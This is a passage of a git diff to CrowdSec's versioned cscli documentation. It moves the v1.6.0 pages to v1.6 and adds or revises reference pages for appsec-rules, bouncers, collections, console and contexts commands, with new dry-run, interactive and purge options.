+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli appsec-rules install crowdsecurity/crs -i
+cscli appsec-rules install crowdsecurity/crs --interactive
```
### Options
```
-d, --download-only Only download packages, don't enable
+ --dry-run Don't install or remove anything; print the execution plan
--force Force install: overwrite tainted and outdated files
-h, --help help for install
--ignore Ignore errors when installing multiple appsec-rules
+ -i, --interactive Ask for confirmation before proceeding
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_list.md
similarity index 81%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_list.md
index e076946ab..d9445519e 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_list.md
@@ -17,9 +17,14 @@ cscli appsec-rules list [item... | -a] [flags]
### Examples
```
+# List enabled (installed) appsec-rules.
cscli appsec-rules list
+
+# List all available appsec-rules (installed or not).
cscli appsec-rules list -a
-cscli appsec-rules list crowdsecurity/crs
+
+# List specific appsec-rules (installed or not).
+cscli appsec-rules list crowdsecurity/crs crowdsecurity/vpatch-git-config
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_remove.md
new file mode 100644
index 000000000..669d7017c
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_remove.md
@@ -0,0 +1,67 @@
+---
+id: cscli_appsec-rules_remove
+title: cscli appsec-rules remove
+---
+## cscli appsec-rules remove
+
+Remove given appsec-rule(s)
+
+### Synopsis
+
+Remove one or more appsec-rules
+
+```
+cscli appsec-rules remove [item]... [flags]
+```
+
+### Examples
+
+```
+# Uninstall some appsec-rules.
+cscli appsec-rules remove crowdsecurity/crs
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli appsec-rules remove crowdsecurity/crs --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli appsec-rules remove crowdsecurity/crs --dry-run -o raw
+
+# Uninstall and also remove the downloaded files.
+cscli appsec-rules remove crowdsecurity/crs --purge
+
+# Remove tainted items.
+cscli appsec-rules remove crowdsecurity/crs --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli appsec-rules remove crowdsecurity/crs -i
+cscli appsec-rules remove crowdsecurity/crs --interactive
+```
+
+### Options
+
+```
+ --all Remove all the appsec-rules
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force remove: remove tainted and outdated files
+ -h, --help help for remove
+ -i, --interactive Ask for confirmation before proceeding
+ --purge Delete source file too
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_upgrade.md
new file mode 100644
index 000000000..35a6cda65
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_upgrade.md
@@ -0,0 +1,63 @@
+---
+id: cscli_appsec-rules_upgrade
+title: cscli appsec-rules upgrade
+---
+## cscli appsec-rules upgrade
+
+Upgrade given appsec-rule(s)
+
+### Synopsis
+
+Fetch and upgrade one or more appsec-rules from the hub
+
+```
+cscli appsec-rules upgrade [item]... [flags]
+```
+
+### Examples
+
+```
+# Upgrade some appsec-rules. If they are not currently installed, they are downloaded but not installed.
+cscli appsec-rules upgrade crowdsecurity/crs
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli appsec-rules upgrade crowdsecurity/crs --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli appsec-rules upgrade crowdsecurity/crs --dry-run -o raw
+
+# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli appsec-rules upgrade crowdsecurity/crs --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli appsec-rules upgrade crowdsecurity/crs -i
+cscli appsec-rules upgrade crowdsecurity/crs --interactive
+```
+
+### Options
+
+```
+ -a, --all Upgrade all the appsec-rules
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force upgrade: overwrite tainted and outdated files
+ -h, --help help for upgrade
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers.md
similarity index 93%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers.md
index a2dc2e133..469eb79f1 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers.md
@@ -36,6 +36,7 @@ Note: This command requires database direct access, so is intended to be run on
* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec
* [cscli bouncers add](/cscli/cscli_bouncers_add.md) - add a single bouncer to the database
* [cscli bouncers delete](/cscli/cscli_bouncers_delete.md) - delete bouncer(s) from the database
+* [cscli bouncers inspect](/cscli/cscli_bouncers_inspect.md) - inspect a bouncer by name
* [cscli bouncers list](/cscli/cscli_bouncers_list.md) - list all bouncers within the database
* [cscli bouncers prune](/cscli/cscli_bouncers_prune.md) - prune multiple bouncers from the database
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_add.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_add.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_add.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_add.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_delete.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_delete.md
similarity index 80%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_delete.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_delete.md
index 9c719154f..76c644183 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_delete.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_delete.md
@@ -10,10 +10,17 @@ delete bouncer(s) from the database
cscli bouncers delete MyBouncerName [flags]
```
+### Examples
+
+```
+cscli bouncers delete "bouncer1" "bouncer2"
+```
+
### Options
```
- -h, --help help for delete
+ -h, --help help for delete
+ --ignore-missing don't print errors if one or more bouncers don't exist
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_inspect.md
new file mode 100644
index 000000000..d7e6aad90
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_inspect.md
@@ -0,0 +1,41 @@
+---
+id: cscli_bouncers_inspect
+title: cscli bouncers inspect
+---
+## cscli bouncers inspect
+
+inspect a bouncer by name
+
+```
+cscli bouncers inspect [bouncer_name] [flags]
+```
+
+### Examples
+
+```
+cscli bouncers inspect "bouncer1"
+```
+
+### Options
+
+```
+ -h, --help help for inspect
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli bouncers](/cscli/cscli_bouncers.md) - Manage bouncers [requires local API]
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_list.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_list.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_prune.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_prune.md
similarity index 75%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_prune.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_prune.md
index e7afabd31..9429a080c 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_bouncers_prune.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_bouncers_prune.md
@@ -13,16 +13,16 @@ cscli bouncers prune [flags]
### Examples
```
-cscli bouncers prune -d 60m
-cscli bouncers prune -d 60m --force
+cscli bouncers prune -d 45m
+cscli bouncers prune -d 45m --force
```
### Options
```
- -d, --duration string duration of time since last pull (default "60m")
- --force force prune without asking for confirmation
- -h, --help help for prune
+ -d, --duration duration duration of time since last pull (default 1h0m0s)
+ --force force prune without asking for confirmation
+ -h, --help help for prune
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_capi.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_capi.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_capi.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_capi.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_capi_register.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_capi_register.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_capi_register.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_capi_register.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_capi_status.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_capi_status.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_capi_status.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_capi_status.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_inspect.md
similarity index 67%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_inspect.md
index 5f2cf4716..445cfb58d 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_inspect.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_inspect.md
@@ -17,7 +17,18 @@ cscli collections inspect [item]... [flags]
### Examples
```
+# Display metadata, state, and dependencies of collections (installed or not).
cscli collections inspect crowdsecurity/http-cve crowdsecurity/iptables
+
+# If the collection is installed, its metrics are collected and shown as well (with an error if crowdsec is not running).
+# To avoid this, use --no-metrics.
+cscli collections inspect crowdsecurity/http-cve crowdsecurity/iptables --no-metrics
+
+# Display difference between a tainted item and the latest one, or the reason for the taint if it's a dependency.
+cscli collections inspect crowdsecurity/http-cve --diff
+
+# Reverse the above diff
+cscli collections inspect crowdsecurity/http-cve --diff --rev
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_install.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_install.md
similarity index 51%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_install.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_install.md
index 1ba790f63..92e06cb63 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_install.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_install.md
@@ -17,16 +17,35 @@ cscli collections install [item]... [flags]
### Examples
```
+# Install some collections.
cscli collections install crowdsecurity/http-cve crowdsecurity/iptables
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw
+
+# Download only, to be installed later.
+cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --download-only
+
+# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli collections install crowdsecurity/http-cve crowdsecurity/iptables -i
+cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --interactive
```
### Options
```
-d, --download-only Only download packages, don't enable
+ --dry-run Don't install or remove anything; print the execution plan
--force Force install: overwrite tainted and outdated files
-h, --help help for install
--ignore Ignore errors when installing multiple collections
+ -i, --interactive Ask for confirmation before proceeding
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_list.md
similarity index 88%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_list.md
index f9f87cbe9..ece29faac 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_list.md
@@ -17,11 +17,14 @@ cscli collections list [item... | -a] [flags]
### Examples
```
+# List enabled (installed) collections.
cscli collections list
+
+# List all available collections (installed or not).
cscli collections list -a
-cscli collections list crowdsecurity/http-cve crowdsecurity/iptables
-List only enabled collections unless "-a" or names are specified.
+# List specific collections (installed or not).
+cscli collections list crowdsecurity/http-cve crowdsecurity/iptables
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_remove.md
new file mode 100644
index 000000000..83d15e8c2
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_remove.md
@@ -0,0 +1,67 @@
+---
+id: cscli_collections_remove
+title: cscli collections remove
+---
+## cscli collections remove
+
+Remove given collection(s)
+
+### Synopsis
+
+Remove one or more collections
+
+```
+cscli collections remove [item]... [flags]
+```
+
+### Examples
+
+```
+# Uninstall some collections.
+cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw
+
+# Uninstall and also remove the downloaded files.
+cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --purge
+
+# Remove tainted items.
+cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables -i
+cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --interactive
+```
+
+### Options
+
+```
+ --all Remove all the collections
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force remove: remove tainted and outdated files
+ -h, --help help for remove
+ -i, --interactive Ask for confirmation before proceeding
+ --purge Delete source file too
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_upgrade.md
new file mode 100644
index 000000000..4895f5e92
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_collections_upgrade.md
@@ -0,0 +1,63 @@
+---
+id: cscli_collections_upgrade
+title: cscli collections upgrade
+---
+## cscli collections upgrade
+
+Upgrade given collection(s)
+
+### Synopsis
+
+Fetch and upgrade one or more collections from the hub
+
+```
+cscli collections upgrade [item]... [flags]
+```
+
+### Examples
+
+```
+# Upgrade some collections. If they are not currently installed, they are downloaded but not installed.
+cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw
+
+# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables -i
+cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --interactive
+```
+
+### Options
+
+```
+ -a, --all Upgrade all the collections
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force upgrade: overwrite tainted and outdated files
+ -h, --help help for upgrade
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_completion.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_completion.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_completion.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_completion.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config.md
similarity index 85%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config.md
index 5b396592a..0e4ce2c89 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config.md
@@ -28,9 +28,7 @@ Allows to view current config
### SEE ALSO
* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec
-* [cscli config backup](/cscli/cscli_config_backup.md) - Backup current config
* [cscli config feature-flags](/cscli/cscli_config_feature-flags.md) - Displays feature flag status
-* [cscli config restore](/cscli/cscli_config_restore.md) - Restore config in backup "directory"
* [cscli config show](/cscli/cscli_config_show.md) - Displays current config
* [cscli config show-yaml](/cscli/cscli_config_show-yaml.md) - Displays merged config.yaml + config.yaml.local
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_feature-flags.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config_feature-flags.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_feature-flags.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config_feature-flags.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_show-yaml.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config_show-yaml.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_show-yaml.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config_show-yaml.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_show.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config_show.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_show.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_config_show.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_disable.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_disable.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_disable.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_disable.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_enable.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_enable.md
similarity index 96%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_enable.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_enable.md
index 66cf070e9..691ea1cff 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_enable.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_enable.md
@@ -12,7 +12,7 @@ Enable a console option
Enable given information push to the central API. Allows to empower the console
```
-cscli console enable [option] [flags]
+cscli console enable [option]... [flags]
```
### Examples
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_enroll.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_enroll.md
similarity index 62%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_enroll.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_enroll.md
index 603342402..cab0759f5 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_enroll.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_enroll.md
@@ -22,18 +22,23 @@ cscli console enroll [enroll-key] [flags]
```
cscli console enroll YOUR-ENROLL-KEY
- cscli console enroll --name [instance_name] YOUR-ENROLL-KEY
- cscli console enroll --name [instance_name] --tags [tag_1] --tags [tag_2] YOUR-ENROLL-KEY
+cscli console enroll --name [instance_name] YOUR-ENROLL-KEY
+cscli console enroll --name [instance_name] --tags [tag_1] --tags [tag_2] YOUR-ENROLL-KEY
+cscli console enroll --enable console_management YOUR-ENROLL-KEY
+cscli console enroll --disable context YOUR-ENROLL-KEY
+valid options are : custom,manual,tainted,context,console_management,all (see 'cscli console status' for details)
```
### Options
```
- -h, --help help for enroll
- -n, --name string Name to display in the console
- --overwrite Force enroll the instance
- -t, --tags strings Tags to display in the console
+ -d, --disable strings Disable console options
+ -e, --enable strings Enable console options
+ -h, --help help for enroll
+ -n, --name string Name to display in the console
+ --overwrite Force enroll the instance
+ -t, --tags strings Tags to display in the console
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_status.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_status.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_console_status.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_console_status.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts.md
similarity index 81%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts.md
index ffbd1e428..19bc2bd41 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts.md
@@ -10,10 +10,10 @@ Manage hub contexts
```
cscli contexts list -a
-cscli contexts install crowdsecurity/yyy crowdsecurity/zzz
-cscli contexts inspect crowdsecurity/yyy crowdsecurity/zzz
-cscli contexts upgrade crowdsecurity/yyy crowdsecurity/zzz
-cscli contexts remove crowdsecurity/yyy crowdsecurity/zzz
+cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet
+cscli contexts inspect crowdsecurity/bf_base crowdsecurity/fortinet
+cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet
+cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_inspect.md
similarity index 75%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_inspect.md
index bfc0dda3a..03c85b2ee 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_inspect.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_inspect.md
@@ -17,7 +17,14 @@ cscli contexts inspect [item]... [flags]
### Examples
```
-cscli contexts inspect crowdsecurity/yyy crowdsecurity/zzz
+# Display metadata, state and ancestor collections of contexts (installed or not).
+cscli contexts inspect crowdsecurity/bf_base crowdsecurity/fortinet
+
+# Display difference between a tainted item and the latest one.
+cscli contexts inspect crowdsecurity/bf_base --diff
+
+# Reverse the above diff
+cscli contexts inspect crowdsecurity/bf_base --diff --rev
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_install.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_install.md
new file mode 100644
index 000000000..0180dcd06
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_install.md
@@ -0,0 +1,67 @@
+---
+id: cscli_contexts_install
+title: cscli contexts install
+---
+## cscli contexts install
+
+Install given context(s)
+
+### Synopsis
+
+Fetch and install one or more contexts from the hub
+
+```
+cscli contexts install [item]... [flags]
+```
+
+### Examples
+
+```
+# Install some contexts.
+cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw
+
+# Download only, to be installed later.
+cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --download-only
+
+# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet -i
+cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --interactive
+```
+
+### Options
+
+```
+ -d, --download-only Only download packages, don't enable
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force install: overwrite tainted and outdated files
+ -h, --help help for install
+ --ignore Ignore errors when installing multiple contexts
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts
